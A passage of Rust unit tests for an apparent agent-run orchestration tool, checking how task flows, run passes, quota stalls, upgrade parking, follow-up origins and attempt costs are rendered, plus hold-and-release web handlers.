16676 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16677 let held = "2026-10-10T04:00:00Z".parse().unwrap();
16678 let run = flow_run(RunStatus::Implementing, |s| {
16679 s.created_at = created;
16680 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16681 s.passes[0].started_at = first;
16682 s.passes[1].started_at = resumed;
16683 });
16684 let mut task = flow_task(&[RUN_X, RUN_X]);
16685 task.created_at = queued;
16686 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16687 task.status = TaskStatus::Held;
16688 task.held_at = Some(held);
16689 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16690 assert_eq!(
16691 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16692 vec![Some(queued), Some(first), Some(resumed), Some(held)]
16693 );
16694 assert!(flow.nodes.iter().all(|n| n.time_expected));
16695 let json = serde_json::to_value(&flow).unwrap();
16696 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16697 assert_eq!(json["nodes"][2]["time_expected"], true);
16698 }
16699
16700 #[test]
16701 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16702 let created = "2026-10-10T01:00:00Z".parse().unwrap();
16703 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16704 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16705 task.held_at = Some(created);
16707 task.blocked_at = Some(created);
16708 for status in [
16709 TaskStatus::Queued,
16710 TaskStatus::Running,
16711 TaskStatus::Blocked,
16712 TaskStatus::Done,
16713 TaskStatus::Failed,
16714 TaskStatus::Parked,
16715 TaskStatus::Held,
16716 ] {
16717 task.status = status;
16718 if status == TaskStatus::Held {
16719 task.held_at = None;
16720 }
16721 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16722 assert_eq!(flow.nodes[1].started_at, Some(created));
16723 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16724 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16725 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16726 let json = serde_json::to_value(&flow).unwrap();
16727 assert!(json["nodes"][3]["started_at"].is_null());
16728 assert_eq!(json["nodes"][3]["time_expected"], true);
16729 }
16730 }
16731
16732 #[test]
16733 fn flow_context_links_do_not_expect_start_times() {
16734 let mut task = flow_task(&[]);
16735 task.source = Source::Agent {
16736 run: "chat-id".to_owned(),
16737 node: "chat".to_owned(),
16738 };
16739 let origin = followup_origin(&fu(None), |_| None, |_| None);
16740 let flow = task_flow(&task, &[], 5, Some(&origin));
16741 for node in &flow.nodes[..2] {
16742 assert!(!node.time_expected);
16743 assert_eq!(node.started_at, None);
16744 }
16745 assert!(flow.nodes[2].time_expected);
16746 }
16747
16748 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16749 crate::queue::FollowUp {
16750 run: "20260901-000000-aaaa".to_owned(),
16751 origin_task: origin_task.map(str::to_owned),
16752 pr: "https://example.com/o/r/pull/1".to_owned(),
16753 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16754 .map(str::to_owned)
16755 .to_vec(),
16756 generation: 1,
16757 }
16758 }
16759
16760 fn parent_task() -> Task {
16761 let mut p = flow_task(&[]);
16762 p.title = "Parent title".to_owned();
16763 p.status = TaskStatus::Done;
16764 p
16765 }
16766
16767 #[test]
16768 fn flow_opens_with_the_parent_task_of_a_followup() {
16769 let p = parent_task();
16770 let pid = p.id.clone();
16771 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16772 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16773 let n = &f.nodes[0];
16774 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16775 assert_eq!(
16776 n.label,
16777 format!("Follow-up of {}", crate::queue::short(&pid))
16778 );
16779 assert_eq!(n.detail.as_deref(), Some("Parent title"));
16780 assert_eq!(n.status, Some("done"));
16781 assert_eq!(n.status_of, "task");
16782 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16783 assert_eq!(f.nodes[1].key, "start");
16784 assert_eq!(f.edges[0].from, "origin");
16785 assert_eq!(
16786 f.edges[0].label,
16787 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16788 );
16789 }
16790
16791 #[test]
16792 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16793 let o = followup_origin(
16794 &fu(Some("gone")),
16795 |_| None,
16796 |_| {
16797 Some(RunState::new(
16798 std::path::PathBuf::from("."),
16799 "main".to_owned(),
16800 "0".to_owned(),
16801 "t".to_owned(),
16802 crate::config::Config::default(),
16803 ))
16804 },
16805 );
16806 assert!(o.parent.is_none());
16807 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16808 let n = &f.nodes[0];
16809 assert_eq!(n.status_of, "run");
16810 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16811 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16812 }
16813
16814 #[test]
16815 fn flow_followup_with_nothing_readable_has_no_link() {
16816 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16817 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16818 let n = &f.nodes[0];
16819 assert_eq!(n.href, None);
16820 assert_eq!(n.note, Some("unreadable"));
16821 assert!(!n.readable);
16822 }
16823
16824 #[test]
16825 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16826 let o = followup_origin(&fu(None), |_| None, |_| None);
16827 let mut t = flow_task(&[]);
16828 t.origin_chat = Some("c1".to_owned());
16829 let f = task_flow(&t, &[], 5, Some(&o));
16830 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16831 t.source = Source::Agent {
16832 run: "c1".to_owned(),
16833 node: crate::queue::CHAT_NODE.to_owned(),
16834 };
16835 let f = task_flow(&t, &[], 5, Some(&o));
16836 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16837 assert_eq!(
16838 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16839 ("chat", "origin")
16840 );
16841 }
16842
16843 #[test]
16844 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16845 let mut p = parent_task();
16846 p.id = "a b/c".to_owned();
16847 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16848 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16849 }
16850
16851 #[test]
16852 fn flow_opens_with_the_chat_that_queued_the_task() {
16853 let mut t = flow_task(&[]);
16854 t.source = Source::Agent {
16855 run: "a b/c".to_owned(),
16856 node: crate::queue::CHAT_NODE.to_owned(),
16857 };
16858 let f = flow_for(&t, &[]);
16859 assert_eq!(f.nodes[0].key, "chat");
16860 assert_eq!(f.nodes[0].kind, "chat");
16861 assert_eq!(
16862 f.nodes[0].label,
16863 format!("Chat {}", crate::queue::short("a b/c"))
16864 );
16865 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16866 assert_eq!(f.nodes[1].key, "start");
16867 assert_eq!(
16868 f.edges[0],
16869 FlowEdge {
16870 from: "chat".to_owned(),
16871 to: "start".to_owned(),
16872 label: "queued from chat".to_owned(),
16873 attempt: AttemptCost::None,
16874 }
16875 );
16876 }
16877
16878 #[test]
16879 fn flow_has_no_chat_box_for_other_sources() {
16880 for source in [
16881 Source::Human,
16882 Source::Issue {
16883 number: 3,
16884 repo: "o/r".to_owned(),
16885 },
16886 Source::Agent {
16887 run: "20260904-014455-ab12".to_owned(),
16888 node: "implement".to_owned(),
16889 },
16890 ] {
16891 let mut t = flow_task(&[]);
16892 t.source = source;
16893 let f = flow_for(&t, &[]);
16894 assert_eq!(f.nodes[0].key, "start");
16895 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16896 assert!(f.edges.iter().all(|e| e.from != "chat"));
16897 }
16898 }
16899
16900 const FA: &str = "20260902-140501-aaaa";
16901 const FB: &str = "20260902-140502-bbbb";
16902
16903 #[test]
16904 fn flow_follows_blocked_retry_merged_to_done() {
16905 let mut t = flow_task(&[FA, FB]);
16906 t.status = TaskStatus::Done;
16907 let f = flow_for(
16908 &t,
16909 &[
16910 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16911 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16912 ],
16913 );
16914 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16915 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16916 assert_eq!(f.edges.len(), 3);
16917 assert_eq!(f.edges[0].label, "claimed");
16918 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16919 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16920 assert_eq!(f.edges[2].label, "merged \u{2192} done");
16921 assert_eq!(
16922 f.nodes[2].href.as_deref(),
16923 Some("#/runs/20260902-140502-bbbb")
16924 );
16925 assert!(f.nodes[2].decided);
16926 }
16927
16928 #[test]
16929 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16930 let quota = || {
16931 flow_run(RunStatus::Stalled, |s| {
16932 s.quota.push(crate::run::QuotaLoss {
16933 cause: crate::agent::QuotaCause::UsageLimit,
16934 agent: String::new(),
16935 seat: "judge-1".to_owned(),
16936 node: "judge".to_owned(),
16937 at: Timestamp::now(),
16938 reset: None,
16939 })
16940 })
16941 };
16942 let mut t = flow_task(&[FA, FA]);
16943 t.status = TaskStatus::Queued;
16944 let f = flow_for(&t, &[(FA, Some(quota()))]);
16945 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16946 assert_eq!(f.nodes[1].note, Some("interrupted"));
16947 assert_eq!(
16948 f.nodes[1].status, None,
16949 "no outcome copied onto an earlier pass"
16950 );
16951 assert_eq!(
16952 f.edges[1].attempt,
16953 AttemptCost::Unknown,
16954 "a resume does not prove the earlier pass was refunded"
16955 );
16956 assert!(f.edges[1].label.contains("resume the same run"));
16957 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16958 assert_eq!(
16959 f.edges[2].label,
16960 "stalled after a resume, refund unknown \u{2192} queued"
16961 );
16962 assert!(!f.nodes[2].decided, "a stall is not a decision");
16963 assert_eq!(f.nodes[2].note, Some("no verdict"));
16964 }
16965
16966 #[test]
16967 fn flow_single_pass_quota_stall_is_refunded() {
16968 let t = flow_task(&[FA]);
16969 let f = flow_for(
16970 &t,
16971 &[(
16972 FA,
16973 Some(flow_run(RunStatus::Stalled, |s| {
16974 s.quota.push(crate::run::QuotaLoss {
16975 cause: crate::agent::QuotaCause::UsageLimit,
16976 agent: String::new(),
16977 seat: "judge-1".to_owned(),
16978 node: "judge".to_owned(),
16979 at: Timestamp::now(),
16980 reset: None,
16981 })
16982 })),
16983 )],
16984 );
16985 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16986 }
16987
16988 #[test]
16989 fn flow_parked_refunds_and_stall_without_quota_spends() {
16990 let mut t = flow_task(&[FA]);
16991 t.status = TaskStatus::Queued;
16992 let f = flow_for(
16993 &t,
16994 &[(
16995 FA,
16996 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16997 )],
16998 );
16999 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17000 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17001 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17002 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17003 assert!(!f.nodes[1].decided);
17004 }
17005
17006 #[test]
17007 fn flow_keeps_an_unreadable_run_as_its_own_node() {
17008 let t = flow_task(&[FA, FB]);
17009 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17010 assert_eq!(f.nodes[1].note, Some("unreadable"));
17011 assert!(!f.nodes[1].readable);
17012 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17013 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17014 }
17015
17016 #[test]
17017 fn flow_names_the_branch_of_a_review_only_run() {
17018 let t = flow_task(&[FA]);
17019 let f = flow_for(
17020 &t,
17021 &[(
17022 FA,
17023 Some(flow_run(RunStatus::Merged, |s| {
17024 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17025 })),
17026 )],
17027 );
17028 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17029 assert_eq!(
17030 f.nodes[1].detail.as_deref(),
17031 Some("review-only run of branch magi/x/A")
17032 );
17033 }
17034
17035 #[test]
17036 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17037 let mut t = flow_task(&[FA]);
17038 t.status = TaskStatus::Held;
17039 let pr = crate::run::PrRecord {
17040 url: "https://example.test/pr/1".to_owned(),
17041 number: 1,
17042 state: "open".to_owned(),
17043 checks: "green".to_owned(),
17044 round: 0,
17045 rounds: 3,
17046 red_at_merge: Vec::new(),
17047 };
17048 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17049 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17050 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17051 t.status = TaskStatus::Done;
17052 let f = flow_for(&t, &[(FA, Some(blocked))]);
17053 assert_eq!(f.edges[1].label, "closed by hand: task is done");
17054 }
17055
17056 #[test]
17057 fn flow_with_no_runs_goes_from_queued_to_queued() {
17058 let t = flow_task(&[]);
17059 let f = flow_for(&t, &[]);
17060 assert_eq!(f.nodes.len(), 2);
17061 assert_eq!(f.edges.len(), 1);
17062 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17063 assert_eq!(f.edges[0].attempt, AttemptCost::None);
17064 }
17065
17066 #[test]
17069 fn a_parked_non_terminal_run_is_explained_as_parked() {
17070 let mut s = RunState::new(
17071 PathBuf::from("/repo/magi"),
17072 "main".to_owned(),
17073 "0123456789abcdef".to_owned(),
17074 "Do it".to_owned(),
17075 Config::default(),
17076 );
17077 s.status = RunStatus::Implementing;
17078 s.parked = true;
17079 let task = Task::new(
17080 "t".to_owned(),
17081 "Do it".to_owned(),
17082 PathBuf::from("/repo/magi"),
17083 Source::Human,
17084 );
17085 let v = task_run_view(
17086 "20260902-140501-aaaa",
17087 Some(&s),
17088 RunSlot {
17089 n: 1,
17090 resumed: false,
17091 resumed_later: None,
17092 prior: None,
17093 last: true,
17094 ..RunSlot::default()
17095 },
17096 &task,
17097 );
17098 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17099 }
17100
17101 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17102 let mut s = flow_run(RunStatus::Implementing, edit);
17103 s.parked = false;
17104 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17105 task_run_view(
17106 "20260902-140501-aaaa",
17107 Some(&s),
17108 RunSlot {
17109 n: 1,
17110 resumed: false,
17111 resumed_later: Some(2),
17112 prior: None,
17113 last: false,
17114 ..RunSlot::default()
17115 },
17116 &task,
17117 )
17118 }
17119
17120 #[test]
17121 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17122 let v = earlier_pass_view(|_| {});
17123 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17124 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17125 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17126 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17127 assert_eq!(v.exit, RunExit::Interrupted);
17128 assert_eq!(v.attempt, AttemptCost::Unknown);
17129 }
17130
17131 #[test]
17132 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17133 let v = earlier_pass_view(|s| {
17134 s.quota.push(crate::run::QuotaLoss {
17135 cause: crate::agent::QuotaCause::UsageLimit,
17136 agent: String::new(),
17137 seat: "judge-1".to_owned(),
17138 node: "judge".to_owned(),
17139 at: Timestamp::now(),
17140 reset: None,
17141 });
17142 });
17143 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17144 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17145 assert_eq!(v.attempt, AttemptCost::Unknown);
17146 }
17147
17148 #[test]
17149 fn the_current_pass_states_its_recorded_cause_and_cost() {
17150 let slot = || RunSlot {
17151 n: 1,
17152 resumed: false,
17153 resumed_later: None,
17154 prior: None,
17155 last: true,
17156 ..RunSlot::default()
17157 };
17158 let task = flow_task(&["20260902-140501-aaaa"]);
17159 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17160 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17161 assert_eq!(
17162 (v.exit, v.attempt),
17163 (RunExit::Parked, AttemptCost::Refunded)
17164 );
17165 let spent = flow_run(RunStatus::Blocked, |_| {});
17166 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17167 assert_eq!(v.attempt, AttemptCost::Spent);
17168 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17169 }
17170
17171 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17172 crate::run::RunPass {
17173 index,
17174 started_at: Timestamp::now(),
17175 resumed: index > 0,
17176 ended_at: end.as_ref().map(|_| Timestamp::now()),
17177 end,
17178 task_entry: true,
17179 }
17180 }
17181
17182 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17183 Some(crate::run::PassEnd::Parked { cause })
17184 }
17185
17186 fn upgrade_cause() -> crate::run::ParkCause {
17187 crate::run::ParkCause::Upgrade {
17188 from: "0.121.0".to_owned(),
17189 to: Some("0.121.1".to_owned()),
17190 }
17191 }
17192
17193 fn settled_pass(
17194 run: &str,
17195 index: usize,
17196 cost: crate::queue::PassCost,
17197 ) -> crate::queue::TaskPass {
17198 crate::queue::TaskPass {
17199 run: run.to_owned(),
17200 pass_index: index,
17201 started_at: None,
17202 cost,
17203 attempts_after: 1,
17204 settled_at: Timestamp::now(),
17205 parked: None,
17206 }
17207 }
17208
17209 const RUN_X: &str = "20261011-223708-4334";
17210
17211 #[test]
17212 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17213 use crate::queue::PassCost;
17214 let run = flow_run(RunStatus::Implementing, |s| {
17215 s.passes = vec![
17216 recorded_pass(0, parked(upgrade_cause())),
17217 recorded_pass(1, None),
17218 ];
17219 });
17220 let mut task = flow_task(&[RUN_X, RUN_X]);
17221 task.attempts = 1;
17222 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17223 let h = task_history(&task, |_| Some(run.clone()));
17224 assert_eq!(h.len(), 2);
17225 assert_eq!(h[0].kind, "competition");
17226 assert_eq!(h[1].kind, "resume");
17227 assert_eq!(
17228 (h[0].exit, h[0].attempt),
17229 (RunExit::Parked, AttemptCost::Refunded)
17230 );
17231 assert!(
17232 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17233 "{}",
17234 h[0].outcome
17235 );
17236 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17237 assert!(
17238 h[0].outcome.contains("pass #2 resumed the same run"),
17239 "{}",
17240 h[0].outcome
17241 );
17242 assert!(
17243 h[0].outcome.contains("pass 1 of 2 over run"),
17244 "{}",
17245 h[0].outcome
17246 );
17247 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17248 assert_eq!(
17249 h[0].exit_label,
17250 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17251 );
17252 let f = task_flow(&task, &h, 2, None);
17253 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17255 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17256 assert!(
17257 f.edges[1].label.contains("upgrade 0.121.0"),
17258 "{}",
17259 f.edges[1].label
17260 );
17261 assert!(
17262 f.edges[1].label.contains("resume the same run"),
17263 "{}",
17264 f.edges[1].label
17265 );
17266 assert_eq!(f.nodes[1].note, Some("parked"));
17267 }
17268
17269 #[test]
17270 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17271 let mut a = flow_run(RunStatus::Implementing, |s| {
17272 s.passes = vec![
17273 recorded_pass(0, parked(upgrade_cause())),
17274 recorded_pass(1, None),
17275 ];
17276 });
17277 let mut b = flow_run(RunStatus::Failed, |s| {
17278 s.passes = vec![recorded_pass(0, None)];
17279 });
17280 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17281 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17282 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17283 let mut task = flow_task(&[]);
17284 task.start("a".into());
17285 task.start("b".into());
17286 task.start("a".into());
17287 assert_eq!(task.runs, ["b", "a"]);
17288 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17289 let h = task_history(&task, |id| {
17290 Some(if id == "a" { a.clone() } else { b.clone() })
17291 });
17292 assert_eq!(
17293 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17294 ["a", "b", "a"]
17295 );
17296 assert_eq!(h[0].attempt, AttemptCost::Refunded);
17297 assert!(h[0].outcome.contains("upgrade"));
17298 assert_eq!(h[2].kind, "resume");
17299 assert!(h[2].pass.is_some());
17300 task.runs = vec!["a".into(), "b".into(), "a".into()];
17302 let old = task_history(&task, |id| {
17303 Some(if id == "a" { a.clone() } else { b.clone() })
17304 });
17305 assert_eq!(
17306 old.iter()
17307 .map(|v| (&v.id, &v.kind, v.attempt))
17308 .collect::<Vec<_>>(),
17309 h.iter()
17310 .map(|v| (&v.id, &v.kind, v.attempt))
17311 .collect::<Vec<_>>()
17312 );
17313 }
17314
17315 #[test]
17316 fn an_upgrade_whose_target_was_not_known_says_so() {
17317 let run = flow_run(RunStatus::Implementing, |s| {
17318 s.passes = vec![
17319 recorded_pass(
17320 0,
17321 parked(crate::run::ParkCause::Upgrade {
17322 from: "0.121.0".to_owned(),
17323 to: None,
17324 }),
17325 ),
17326 recorded_pass(1, None),
17327 ];
17328 });
17329 let task = flow_task(&[RUN_X, RUN_X]);
17330 let h = task_history(&task, |_| Some(run.clone()));
17331 assert!(
17332 h[0].outcome.contains("upgrade from 0.121.0"),
17333 "{}",
17334 h[0].outcome
17335 );
17336 assert_eq!(h[0].attempt, AttemptCost::Unknown);
17338 }
17339
17340 #[test]
17341 fn each_pass_keeps_its_own_cause_across_several_resumes() {
17342 use crate::queue::PassCost;
17343 use crate::run::ParkCause;
17344 let run = flow_run(RunStatus::Implementing, |s| {
17345 s.passes = vec![
17346 recorded_pass(0, parked(upgrade_cause())),
17347 recorded_pass(
17348 1,
17349 parked(ParkCause::Interrupt {
17350 reason: "task a1b2 asked to run first".to_owned(),
17351 }),
17352 ),
17353 recorded_pass(2, parked(ParkCause::Operator)),
17354 recorded_pass(3, None),
17355 ];
17356 });
17357 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17358 task.attempts = 1;
17359 task.passes = (0..3)
17360 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17361 .collect();
17362 let h = task_history(&task, |_| Some(run.clone()));
17363 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17364 assert!(
17365 h[1].outcome.contains("task a1b2 asked to run first"),
17366 "{}",
17367 h[1].outcome
17368 );
17369 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17370 assert!(
17371 h[2].outcome.contains("operator asked the loop to park"),
17372 "{}",
17373 h[2].outcome
17374 );
17375 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17376 let f = task_flow(&task, &h, 2, None);
17377 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17378 }
17379
17380 #[test]
17381 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17382 let run = flow_run(RunStatus::Implementing, |s| {
17383 s.passes = vec![
17384 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17385 recorded_pass(1, None),
17386 ];
17387 });
17388 let task = flow_task(&[RUN_X, RUN_X]);
17389 let h = task_history(&task, |_| Some(run.clone()));
17390 assert_eq!(h[0].exit, RunExit::Interrupted);
17391 assert_eq!(h[0].attempt, AttemptCost::Unknown);
17392 assert!(
17393 h[0].outcome.contains("without recording why"),
17394 "{}",
17395 h[0].outcome
17396 );
17397 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17398 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17399 }
17400
17401 #[test]
17402 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17403 use crate::queue::PassCost;
17404 let run = flow_run(RunStatus::Implementing, |s| {
17407 s.passes = vec![
17408 recorded_pass(0, parked(upgrade_cause())),
17409 recorded_pass(1, None),
17410 ];
17411 });
17412 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17413 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17414 let h = task_history(&task, |_| Some(run.clone()));
17415 assert!(h[0].pass.is_none());
17416 assert_eq!(h[0].exit, RunExit::Interrupted);
17417 assert_eq!(h[0].attempt, AttemptCost::Unknown);
17418 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17419 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17420 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17421 let legacy = flow_run(RunStatus::Implementing, |_| {});
17423 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17424 assert!(h.iter().all(|v| v.pass.is_none()));
17425 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17426 }
17427
17428 #[test]
17429 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17430 use crate::queue::PassCost;
17431 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17434 web.task_entry = false;
17435 let run = flow_run(RunStatus::Implementing, |s| {
17436 s.passes = vec![
17437 recorded_pass(0, parked(upgrade_cause())),
17438 web.clone(),
17439 recorded_pass(2, None),
17440 ];
17441 });
17442 let mut task = flow_task(&[RUN_X, RUN_X]);
17443 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17444 let h = task_history(&task, |_| Some(run.clone()));
17445 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17446 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17447
17448 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17451 web0.task_entry = false;
17452 let run = flow_run(RunStatus::Implementing, |s| {
17453 s.passes = vec![web0.clone(), recorded_pass(1, None)];
17454 });
17455 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17456 assert!(h[0].pass.is_none());
17457 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17458 assert!(h[1].pass.is_some());
17459 }
17460
17461 #[tokio::test]
17462 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17463 let dir = tempfile::tempdir().unwrap();
17464 let queue = Queue::at(dir.path().join("queue"));
17465 let ui = Arc::new(Ui::new(
17466 queue.clone(),
17467 Questions::at(dir.path().join("questions")),
17468 Talks::at(dir.path().join("talks")),
17469 dir.path().join("runs"),
17470 dir.path().to_path_buf(),
17471 dir.path().to_path_buf(),
17472 ));
17473 let mut t = Task::new(
17474 "recover".into(),
17475 "Inspect".into(),
17476 PathBuf::from("."),
17477 Source::Human,
17478 );
17479 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17480 t.start("run-A".into());
17481 t.release_operator("choice", Some("resume-question"));
17482 t.resume_override = Some(crate::queue::OperatorResume {
17483 question_id: "resume-question".into(),
17484 at: jiff::Timestamp::now(),
17485 conductor_rehold: None,
17486 forced: true,
17487 pinned_run: Some("run-A".into()),
17488 });
17489 t.hold_machine(Some("inspection pending".into()));
17490 t.edit("recover".into(), "Reuse approved PR head".into())
17491 .unwrap();
17492 queue.put(&mut t).unwrap();
17493 let mut cli = t.clone();
17494 cli.release_operator("cli", None);
17495 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17496 let reloaded = queue.get(&t.id).unwrap();
17497 assert_eq!(reply.task.status, TaskStatus::Queued);
17498 assert!(reloaded.resume_override.is_none());
17499 assert_eq!(reloaded.answers, t.answers);
17500 let mut web = reloaded.resumption.unwrap();
17501 let cli = cli.resumption.unwrap();
17502 assert_eq!(web.source, "web");
17503 web.source = cli.source.clone();
17504 web.at = cli.at;
17505 assert_eq!(web, cli);
17506 }
17507
17508 #[tokio::test]
17509 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17510 let f = Fixture::start().await;
17511 let queue = f.queue();
17512 let mut task = Task::new(
17513 "spent".to_owned(),
17514 "Try again".to_owned(),
17515 PathBuf::from("/repo/magi"),
17516 Source::Human,
17517 );
17518 task.start("20260902-140502-bbbb".to_owned());
17519 task.fail("agent gave up", 9);
17520 queue.put(&mut task).expect("file the task");
17521
17522 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17523 assert_eq!(held.status, 200);
17524 assert_eq!(held.json()["status_str"], "held");
17525
17526 let released = f
17527 .post(&format!("/api/queue/{}/release", task.id), None)
17528 .await;
17529 assert_eq!(released.status, 200);
17530 assert_eq!(released.json()["status_str"], "queued");
17531 assert_eq!(released.json()["resumption"]["source"], "web");
17532 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17533 let mut cli = task.clone();
17534 cli.release_operator("cli", None);
17535 let web = queue.get(&task.id).unwrap().resumption.unwrap();
